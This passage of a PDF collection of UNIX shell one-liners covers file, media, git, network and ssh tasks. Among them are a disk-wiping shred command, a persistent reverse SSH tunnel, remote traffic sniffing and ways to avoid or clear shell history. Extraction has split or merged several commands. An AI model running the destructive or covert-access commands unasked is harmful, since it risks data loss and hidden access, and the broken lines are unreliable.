egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/
([-\w/_\.]*(\?\S+)?)?)?'
# Ignore a directory in SVN, permanently
svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"
# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "
# Rsync two directories with filtered extensions
rsync -rv --include '*/' --include '*.txt' --exclude '*' srcDir/ desDir/
# Insert an element into xml

97 / 658

All UNIX COMMANDS


xmlstarlet ed -s "/breakfast_menu/food" -t elem -n 'foo' -v "bar" simple.xml
# Erase to factory a pendrive, disk or memory card, and watch the progress
sudo shred -vz -n 0 /dev/sdb
# colorize your svn diff
svn diff | vim # Get Lorum Ipsum random text from lorumipsum.com
lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n
'/<lipsum>/,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g'
# List bash functions defined in .bash_profile or .bashrc
declare -F | cut -d ' ' -f 3
# Remove a line from a file using sed (useful for updating known SSH server keys when they
change)
sed -i '${LINE}d' ~/.ssh/known_host
# Postpone a command [zsh]
<alt+q>
# Get a BOFH excuse
telnet towel.blinkenlights.nl 666 2>/dev/null |tail -2
# Read a keypress without echoing it
stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo
# git remove files which have been deleted
git ls-files -z --deleted | xargs -0 git rm
# diff files while disregarding indentation and trailing white space
diff -b $file1 $file2 # GNU Tools
# enumerate with padding
echo {001..5}
# Google Translate
wget -U "Mozilla/5.0" -qO - "http://translate.google.com/translate_a/t?
client=t&text=translation+example&sl=auto&tl=fr" | sed 's/\[\[\[\"//' | cut -d \" -f 1
# useful tail on /var/log to avoid old logs or/and gzipped files
tail -f *[!.1][!.gz]
# use mplayer to watch Apple Movie Trailer instead of quicktime player
mplayer -rtsp-stream-over-tcp -user-agent QuickTime/7.6.4
http://trailers.apple.com/movies/HDmovie-h720p.mov
# Compress files found with find
find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz

# Pack up some files into a tarball on a remote server without writing to the local
filesystem
tar -czf - * | ssh example.com "cat > files.tar.gz"
# backup a directory in a timestamped tar.gz
tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir

98 / 658

All UNIX COMMANDS


# Empty a file
> foobar.txt
# Count the number of characters in each line
awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
# Convert multiple files using avidemux
for i in `ls`;do avidemux --video-codec Xvid4 --load $i --save $i.mp4 --quit; done
# send kernel log (dmesg) notifications to root via cron
(crontab -l; echo '* * * * * dmesg -c'; ) | crontab # Replicate a directory structure dropping the files
for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done
# Search for a word in less
\bTERM\b
# Remotely sniff traffic and pass to snort
ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r # processes per user counter
ps aux |awk '{$1} {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}'
# Installing True-Type fonts
ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf
# Simple colourized JSON formatting for BASH
alias pp='python -mjson.tool|pygmentize -l js'
# Apply substitution only on the line following a marker
sed '/MARKER/{N;s/THIS/THAT/}'
# Go to parent directory of filename edited in last command
cd `dirname $_`
# raw MySQL output to use in pipes
mysql DATABASE -N -s -r -e 'SQL COMMAND'
# View details of network activity, malicious or otherwise within a port range.
lsof -i :555-7000
# restore the contents of a deleted file for which a descriptor is still available
N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/
$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"
# Find files that are older than x days
find . -type f -mtime +7 -exec ls -l {} \;
# Converts a single FLAC file with associated cue file into multiple FLAC files
cuebreakpoints "$2" | shnsplit -o flac "$1"
# run a VirtualBox virtual machine without a gui
VBoxHeadless -s <name|uuid>
# get the top 10 longest filenames
find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF "
-10
# Forward port 8888 to remote machine for SOCKS Proxy

99 / 658

" $0

} ' | sort -nrf | head

All UNIX COMMANDS


ssh -D 8888 user@site.com
# Get all mac address
ifconfig | awk '/HWaddr/ { print $NF }'
# Sync the date of one server to that of another.
sudo date -s "$(ssh user@server.com "date -u")"
# Run a command for a given time
very_long_command& sleep 10; kill $!

# list processes with established tcp connections (without netstat)


lsof -i -n | grep ESTABLISHED
# List top ten files/directories sorted by size
du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh
# Get the absolute path of a file
absolute_path () { readlink -f "$1"; };
# Delete files older than..
find /dir_name -mtime +5 -exec rm {} \
# Convert images (jpg, png, ...) into a PDF
convert images*.* <my_pdf>.pdf
# Print stack trace of a core file without needing to enter gdb interactively
gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" ${exe} ${corefile}
# convert single digit to double digits
rename 's/\d+/sprintf("%02d",$&)/e' -- $@
# Replace all in last command
!!:gs/data/index/
# Launch firefox on a remote linux server
ssh -fY user@REMOTESERVER firefox -no-remote
# Use top to monitor only all processes with the same name fragment 'foo'
top $(pgrep foo | sed 's|^|-p |g')
# Concating pdf files
pdftk inp1.pdf inp2.pdf inp3.pdf cat output out.pdf
# Add a Clock to Your CLI
export PS1="${PS1%\\\$*}"' \t \$ '
# Look for IPv4 address in files.
alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"
# Find all the files more than 10MB, sort in descending order of size and record the output
of filenames and size in a text file.
find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out
# Change the ownership of all files owned by one user.
find /home -uid 1056 -exec chown 2056 {} \;
# Show the power of the home row on the Dvorak Keyboard layout

100 / 658

All UNIX COMMANDS


egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words
# Produce a pseudo random password with given length in base 64
openssl rand -base64 <length>
# Change the window title of your xterm
echo "^[]0;My_Title_Goes _Here^G"
# Create MySQL-Dump, copy db to other Server and upload the db.
mysqldump -uUserName -pPassword tudb | ssh root@rootsvr.com "mysql -uUserName -pPassword -h
mysql.rootsvr.com YourDBName"
# Dump dvd from a different machine onto this one.
ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso
# Insert a comment on command line for reminder
ls -alh #mycomment
# livehttpheaders (firefox addon) replacement
liveh(){ tcpdump -lnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.*POST
/POST /;/[GPH][EOo][TSs]/!d;w '"${2-liveh.txt}"' ' >/dev/null ;} # usage: liveh [-i
interface] [output-file] && firefox &
# for too many arguments by *
echo *.log | xargs <command>
# 'hpc' in the box - starts a maximum of n compute commands modulo n controlled in parallel
c=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1 >/dev/null
&& ((c++)); [ `echo "$c%$n" | bc` -eq 0 ] && echo "$c waiting" && wait; done
# Find files and list them sorted by modification time
find -printf "%C@ %p\n"|sort

# Simplified video file renaming


for f in *;do mplayer $f;read $n;mv $f $n;done
# Edit a file inside a compressed archive without extracting it
vim some-archive.tar.gz
# translate what is in the clipboard in english and write it to the terminal
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|
en&v=1.0&q=`xsel`" |cut -d \" -f 6
# determine if tcp port is open
lsof -i :22
# detach remote console for long running operations
dtach -c /tmp/wires-mc mc
# sort lines by length
awk '{print length, $0;}' | sort -nr
# convert pdf to graphic file format (jpg , png , tiff ... )
convert sample.pdf sample.jpg
# Comment out a line in a file
sed -i '19375 s/^/#/' file

101 / 658

All UNIX COMMANDS


# simple backup with rsync
0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]
# Reset terminal that has been buggered by binary input or similar
stty sane
# Test speaker channels
speaker-test -D plug:surround51 -c 6 -l 1 -t wav
# Set audible alarm when an IP address comes online
until ping -c1 ADDRESS;do true;done;zenity --warning --text "ADDRESS is back"
# Random play a mp3 file
mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`"
# Top ten (or whatever) memory utilizing processes (with children aggregate)
ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc
in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}' | sort -n | tail -n 10
# Dump root ext3 fs over ssh
dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"
# Find directories under home directory with 777 permissions, change to 755, and list them
on console
find $HOME -type d -perm 777 -exec chmod 755 {} \; -print
# run shell with your commandlinefu.com's favourites as bash_history
(cat ~/.bash_history;U='curl -s www.commandlinefu.com';$U/users/signin -c/tmp/.c
-d'username=<USER>&password=<PASS>&submit=1'|$U/commands/favourites/json -b/tmp/.c|grep -Po
'nd":.*?[^\\]",'|sed -re 's/.*":"(.*)",/\1/g')>~/.h;HISTFILE=~/.h bash --login
# Record live sound in Vorbis (eg for bootlegs or to take audio notes)
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --rawbits=16 - > MyLiveRecording.ogg
# Show git branches by date - useful for showing active branches
for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue
%cr%Creset" "$k"`\\t"$k";done|sort
# Get a regular updated list of zombies
watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"
# Sort the current buffer in vi or vim.
:%sort
# Show Apt/Dpkg configuration
apt-config dump
# Clear current session history (bash)
history -c
# Delete all empty lines from a file with vim
:v/./d
# Remote copy directories and files through an SSH tunnel host
rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/

# Unix time to local time

102 / 658

All UNIX COMMANDS


date -R -d @1234567890
# Happy Days
echo {'1,2,3',4}" o'clock" ROCK
# Share a screen session
screen -x <screen_id>
# Send a binary file as an attachment to an email
uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com
# List files
Esc-/ Esc-/
# easily strace all your apache processes
ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace
# Download Apple movie trailers
wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo
http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`
# Socksify any program to avoid restrictive firwalls
tsocks <program>
# Revert all modified files in an SVN repo
svn st | grep -e '^M' | awk '{print $2}' | xargs svn revert
# On-the-fly unrar movie in .rar archive and play it, does also work on part archives.
unrar p -inul foo.rar|mplayer # Tell Analytics to fuck itself.
gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $
( find ~/.mozilla -name cookies.sqlite ) }
# Remove all .svn folders
find . -depth -name .svn -type d -exec rm -fr {} \;
# Follow the most recently updated log files
ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f
# Record audio and video from webcam using ffmpeg
ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi
-vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi
# Determine MAC address of remote host when you know its IP address
arping 192.168.1.2
# Test network speed without wasting disk
dd if=/dev/zero bs=4096 count=1048576 | ssh user@host.tld 'cat > /dev/null'
# Backup entire system through SSH
ssh -C USER@HOST tar -c --exclude /proc --exclude /sys / | tar -x
# Search and Replace across multiple files
grep -lr -e '<oldword>' * | xargs sed -i 's/<oldword>/<newword>/g'
# make, or run a script, everytime a file in a directory is modified
while inotifywait -r -e MODIFY dir/; do make; done;
# View webcam output using mplayer

103 / 658

All UNIX COMMANDS


mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2
# Command to rename multiple file in one go
rename 's/.xls/.ods/g' *.xls
# Check if a process is running
kill -0 [pid]
# Encrypted archive with openssl and tar
tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc
# Detect Language of a string
detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?
v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }
# Symlink all files from a base directory to a target directory
ln -s /BASE/* /TARGET/

# Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file"
sed -i 'your sed stuff here' file
# List your MACs address
ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
# Create a thumbnail from a video file
thumbnail() { ffmpeg -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s
640x272 ${i%.*}.jpg }
# New command with the last argument of the previous command.
command !$
# need ascii art pictures for you readme text ?
boxes -d dog or
cowsay -f tux $M
# Update your OpenDNS network ip
wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?
hostname=your_opendns_hostname&myip=your_ip' -O # Remove all files except list
rm -rf !(@(file1|file2|...))
# To play a file at 1.5 times normal speed
mplayer -af scaletempo=scale=1.5 foo.mp3

without increasing the pitch

# show git commit history


git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed
s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g'
# convert all flac files in a folder to mp3 files with a bitrate of 192 kbps
for f in *;do flac -cd $f |lame -b 192 - $f.mp3;done
# Migrate existing Ext3 filesystems to Ext4
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
# Find and copy scattered mp3 files into one directory
find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} </path>
# DVD ripping with ffmpeg

104 / 658

All UNIX COMMANDS


cat VIDEO_TS/VTS_01_[1234].VOB | nice ffmpeg -i - -s 512x384 -vcodec libtheora -acodec
libvorbis ~/Videos/dvd_rip.ogg
# Update dyndns.org with your external IP.
curl -v -k -u user:password "https://members.dyndns.org/nic/update?
hostname=<your_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zAZ<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"
# Print current runlevel
who -r
# Remove all leading and trailing spaces or tabs from all lines of a text file
while read l; do echo -e "$l"; done <1.txt >2.txt
# Lookup your own IPv4 address
dig +short myip.opendns.com @resolver1.opendns.com
# Merge tarballs
cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz
# Create a file of a given size in linux
dd if=/dev/zero of=foo.txt bs=1M count=1
# Rename all (jpg) files written as 3 number in 4 numbers.
for i in ???.jpg; do mv $i $(printf %04d $(basename $i .jpg) ).jpg ; done
# Trick find -exec option to execute alias
find . -exec `alias foo | cut -d"'" -f2` {} \;
# Pronounce an English word using Merriam-Webster.com
pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' |
sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") |
aplay -q; }
# Checks throughput between two nodes
cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null"
# Extract audio stream from an AVI file using mencoder
mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}"
# Find the package a command belongs to on debian-based distros
apt-file search iostat

# Show sorted list of files with sizes more than 1MB in the current dir
du -hs * | grep '^[0-9,]*[MG]' | sort -rn
# Report all quota usage
quota -q $(cat /etc/passwd|cut -d ':' -f 1)
# Merge several pdf files into a single file
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf
c.pdf
# Check the status of a network interface
mii-tool [if]
# Skip over .svn directories when using the "find" command.
find . -not \( -name .svn -prune \)

105 / 658

All UNIX COMMANDS


# Virtual Console lock program
vlock
# Losslessly rotate videos from your phone by 90 degrees.
mkdir rotated; for v in *.3gp; do ffmpeg -i $v -vf transpose=2 -vcodec ffv1 rotated/$
{v/3gp/avi} ; done
# 'hpc' in the shell - starts a maximum of n compute commands modulo n controlled in
parallel, using make
echo -n 'targets = $(subst .png,.jpg,$(wildcard *.png))\n$(targets):\n
convert $
(subst .jpg,.png,$@) $@ \nall : $(targets)' | make -j 4 -f - all
# Lists all usernames in alphabetical order
cut -d: -f1 /etc/passwd | sort
# return external ip
wget -O - -q icanhazip.com
# download file1 file2 file3 file4 .... file 100
wget http://domain.com/file{1..100}
# shutdown pc in a 4 hours
shutdown -h +240
# Remove a file whose name begins with a dash ( - ) character
rm ./-filename
# Lists all usernames in alphabetical order
awk -F ':' '{print $1 | "sort";}' /etc/passwd
# Generate pretty secure random passwords
pwgen -Bnyc
# Create a tar of directory structure only
tar -cf ~/out.tar --no-recursion --files-from <(find . -type d)
# Want to known what time is it in another part of the world ?
TZ=Indian/Maldives date
# Change the case of a single word in vim
g~w
# Clean up display when the bash prompt is displayed
export PS1="\[\017\033[m\033[?9l\033[?1000l\]$PS1"
# Get International Space Station sighting information for your city
links -dump "http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?
country=United_States&region=Wisconsin&city=Portage" | sed -n '/--/,/--/p'
# Find and list users who talk like "lolcats"
cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|zomg" * | cut -d'/' -f 3 | sort | uniq
| xargs -I {} echo "Note to self: ban user '{}'"
# Rip a CD/DVD to ISO format.
dd if=/dev/cdrom of=~/cdrom_image.iso
# Source zshrc/bashrc in all open terminals
trap "source ~/.zshrc" USR1

106 / 658

All UNIX COMMANDS


# See a full last history by expanding logrotated wtmp files
( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line
2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less
# Get size of terminal
resize

# Find the process you are looking for minus the grepped one
ps -C command
# Mount proc
mount -t proc{,,}
# Display calendar with specific national holidays and week numbers
gcal -K -q GB_EN 2009 # display holidays in UK/England for 2009 (with week numbers)
# Display the number of connections to a MySQL Database
mysql -u root -p -BNe "select host,count(host) from processlist group by host;"
information_schema
# Group OR'd commands where you expect only one to work
( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less
# Display text as though it is being typed out in real time
echo "text to be displayed" | pv -qL 10
# Install a basic FreeBSD system
dd if=mfsbsd.iso | ssh distant.server dd of=/dev/sda
# convert filenames in current directory to lowercase
for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done
# full memcache client in under 255 chars (uses dd, sed and nc)
mem(){ { case $1 in st*|[vgid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/^0/d;s/
.*//;s/^/'"$1"' '"$2"' 1 0 /; r '"$3"'' 2>/dev/null;;esac;printf "\r\nquit\r\n";}|nc -n
127.0.0.1 11211; }
# Watch the disk fill up
watch -n 1 df
# execute your commands and avoid history records
cat | bash
# Function to output an ASCII character given its decimal equivalent
chr () { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }
# Convert a SVG file to grayscale
inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose
# for loop with leading zero in bash 3
seq -s " " -w 3 20
# vim read stdin
ls | vim +'set bt=nowrite' # Transcode .flac to .wav with gstreamer
for i in *.flac; do gst-launch filesrc location="$i" ! flacdec ! wavenc ! filesink
location="${i%.flac}.wav"; done

107 / 658

All UNIX COMMANDS


# function to edit your history file
eh () { history -a ; vi ~/.bash_history ; history -r ; }
# Enter your ssh password one last time
cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >>
.ssh/authorized_keys"
# Console clock
watch -t -n1 'date "+%r %F %A"'
# Email yourself after a job is done
<command>; echo "job done"|mail email@email.com -s'job done'
# Date shows dates at other times/dates
date -d '2 weeks ago'
# Found how how much memory in kB $PID is occupying in Linux
echo 0$(awk '/Pss/ {printf "+"$2}' /proc/$PID/smaps)|bc
# Finding all files on local file system with SUID and SGID set
find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;
# Create a large test file (taking no space).
dd bs=1 seek=2TB if=/dev/null of=ext3.test
# Create a backup of file being edited while using vi
:!cp % %-

# Switch to a user with "nologin" shell


sudo -u username bash
# cleanup /tmp directory
find /tmp -type f -atime +1 -delete
# mailx to send mails from console
true | mailx -n -a MYTEXT.txt -r my@mail.com -s log -S smtp=mail.com -S smtp-authuser=MYUSER -S smtp-auth-password=MYPASSWORD FRIEND@mail.com
# Use a Gmail virtual disk (GmailFS) on Ubuntu
mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]]
[-p]
# Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)
Type "c-a b" in gnu screen after updating your .screenrc (See Description below).
# Get your public ip
curl -s ip.appspot.com
# draw matrix using dot
echo 'graph{node[shape=record];rankdir=LR;matrix[label="{1|2|3}|{4|5|6}|{7|8|
9}",color=red]}' | dot -Tpng | display
# static compilation
st() { LDFLAGS=-static CFLAGS=-static CXXFLAGS=-static NOSHARED=yes ./configure $@ ;} usage:
st [configure operands]
# dump a single table of a database to file

108 / 658

All UNIX COMMANDS


mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME
# Fibonacci numbers with awk
awk 'func f(n){return(n<2?n:f(n-1)+f(n-2))}BEGIN{while(a<24){print f(a++)}}'
# List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -executable -type f -printf "%f\n"
# Remove all the files except abc in the directory
find * -maxdepth 1 -type f ! -name abc -delete
# Email a file to yourself
uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
# Url Encode
echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
# Reverse SSH
ssh -f -N -R 8888:localhost:22 user@somedomain.org
# Reverse SSHfs mount,
dpipe /usr/lib/openssh/sftp-server = ssh $REMOTE_HOST sshfs whatever:$LOCAL_PATH
$REMOTE_PATH -o slave
# trace the system calls made by a process (and its children)
strace -f -s 512 -v ls -l
# Easy Persistent SSH Connections Using Screen
s() { screen -d -RR -m -S "$1" -t "$USER"@"$1" ssh "$1"; }
# Forget remembered path locations of previously ran commands
hash -r
# Mount a disk image (dmg) file in Mac OSX
hdiutil attach somefile.dmg
# FizzBuzz one-liner in Python
python -c'for i in range(1,101):print"FizzBuzz"[i*i%3*4:8--i**4%5]or i'
# List programs with open ports and connections
netstat -ntauple
# Convert mp3/wav file to asterisk ulaw for music on hold (moh)
sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql
# Securely destroy data (including whole hard disks)
shred targetfile
# duration of the DNS-query
server=8.8.8.8; host="apple.com"; queries=128; for i in `seq $queries`; do let x+=`dig @$
{server} $host | grep "Query time" | cut -f 4 -d " "`; done && echo "scale=3;($x/$
{queries})" | bc

# tee to a file descriptor


tee >(cat - >&2)
# Block the 6700 worst spamhosts
wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts

109 / 658

All UNIX COMMANDS


# Auto Get Missing Launchpad Keys
sudo apt-get update 2> /tmp/keymissing; for key in $(grep "NO_PUBKEY" /tmp/keymissing |sed
"s/.*NO_PUBKEY //"); do echo -e "\nProcessing key: $key"; gpg --keyserver pool.skskeyservers.net --recv $key && gpg --export --armor $key |sudo apt-key add -; done
# Show interface/ip using awk
ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline)
{ split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'
# Import SQL into MySQL with a progress meter
(pv -n ~/database.sql | mysql -u root -pPASSWORD -D database_name) 2>&1 | zenity --width 550
--progress --auto-close --auto-kill --title "Importing into MySQL" --text "Importing into
the database"
# print all except first collumn
awk '{$1=""; print}'
# colored prompt
export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '
# Take screenshot through SSH
xwd -root -display :0.0| xwdtopnm | pnmtopng > Screenshot.png
# uniq for unsorted data
awk '!_[$0]++{print}'
# Get Futurama quotations from slashdot.org servers
curl -Is slashdot.org | sed -n '5p' | sed 's/^X-//'
# setup a tunnel from destination machine port 80 to localhost 2001, via a second (hub)
machine.
ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p"
someuser@destinationmachine
# Apache memory usage
ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print
sum/1024}'
# Sort IPV4 ip addresses
sort -t. -k1,1n -k2,2n -k3,3n -k4,4n
# fuman, an alternative to the 'man' command that shows commandlinefu.com examples
fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/
$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/'
|less -r; }
# Short Information about loaded kernel modules
awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'
# List processes playing sound
lsof | grep pcm
# regex for turning a URL into a real hyperlink (i.e. for posting somewhere that accepts
basic html)
sed "s/\([a-zA-Z]*\:\/\/[^ ]*\)\(.*\)/\<a href=\"\1\"\>\1\<\/a\>\2/"
# Avoiding history file to be overwritten
shopt -s histappend

110 / 658

All UNIX COMMANDS


# List processes sorted by CPU usage
ps -ef --sort=-%cpu
# ensure your ssh tunnel will always be up (add in crontab)
[[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] ||
nohup ssh -N -R 4444:localhost:22 user@relay &
# find files larger than 1 GB, everywhere
find / -type f -size +1000000000c
# Big Countdown Clock with hours, minutes and seconds
watch -tn1 'date +%r | figlet'
# open a seperate konsole tab and ssh to each of N servers (konsole 4.2+)
for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done
# Watch how fast the files in a drive are being deleted
watch "df | grep /path/to/drive"
# Gets the last string of previous command with !$
$mkdir mydir -> mv !$ yourdir -> $cd !$

# Filter IPs out of files


egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt
# print date 24 hours ago
date --date=yesterday
# How much RAM is Apache using? in kb
ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc
# Quick command line math
expr 512 \* 7
# List Listen Port by numbers
netstat -tlpn | sort -t: -k2 -n
# backup your entire hosted website using cPanel backup interface and wget
wget --http-user=YourUsername --http-password=YourPassword
http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz
# Zip a directory on Mac OS X and ignore .DS_Store (metadata) directory
zip -vr example.zip example/ -x "*.DS_Store"
# Introduction to user commands
man intro
# List only executables installed by a debian package
dpkg -L iptables | perl -lne 'print if -f && -x'
# Connect via sftp to a specific port
sftp -oPort=3476 user@host
# Capitalize first letter of each word in a string
echo 'fOo BaR' | tr '[A-Z]' '[a-z]' | sed 's/\(^\| \)\([a-z]\)/\1\u\2/g'
# count and number lines of output, useful for counting number of matches
ps aux | grep [a]pache2 | nl

111 / 658

All UNIX COMMANDS


# List directories recursively showing its sizes using only ls and grep
ls -lhR | grep -e "total\|:$"
# Short and sweet output from dig(1)
alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion
+nocomments'
# Randomize lines in a file
awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2# Restart command if it dies.
ps -C program_name || { program_name & }
# delete duplicate lines from a file and keep the order of the other lines
cat -n <file> | sort -k 2 | uniq -f 1 | sort -n | cut -f 2# Delete line number 10 from file
sed -i '10d' <somefile>
# display contents of a file w/o any comments or blank lines
egrep '^[^#]' some_file
# Cap apt-get download speed
sudo apt-get -o Acquire::http::Dl-Limit=25 install <package>
# HTTP redirect
while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" |
nc -vvvv -l -p 80; done
# Sniffing network to generate a pcap file in CLI mode on a remote host and open it via
local Wireshark ( GUI ).
tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the remote side
# Find unused IPs on a given subnet
fping -r1 -g <subnet> 2> /dev/null | grep unreachable | cut -f1 -d' '
# Create a zip archive excluding all SVN folders
zip -r myfile.zip * -x \*.svn\*
# Live filter a log file using grep and show x# of lines above and below
tail -f <filename> | grep -C <# of lines to show above and below> <text>

# remove empty lines


sed '/^$/d'
# Show exit status of all portions of a piped command eg. ls |this_doesn't_exist |wc
echo ${PIPESTATUS[@]}
# Quick searching with less
zless +/search_pattern file.gz
# capture selected window
import -window `xwininfo | awk '/Window id/{print $4; exit}'` `uuidgen`.png
# Play musical notes from octave of middle C
man beep | sed -e '1,/Note/d; /BUGS/,$d' | awk '{print $2}' | xargs -IX sudo beep -f X -l
500

112 / 658

All UNIX COMMANDS


# Merge video files together using mencoder (part of mplayer)
mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi
# Locking and unlocking files and mailboxes
lockfile
# create thumbnail of pdf
convert -resize 200 awk.pdf[0] awk.png
# Undo several commits by committing an inverse patch.
git diff HEAD..rev | git apply --index; git commit
# Run a ext4 file system check and badblocks scan with progress info
fsck.ext4 -cDfty -C 0 /dev/sdxx
# Colorize matching string without skipping others
egrep --color=auto 'usb|' /var/log/messages
# Edit your command in vim ex mode by &lt;ctrl-f&gt;
<ctrl-f> in ex mode in vim
# Fast file backup
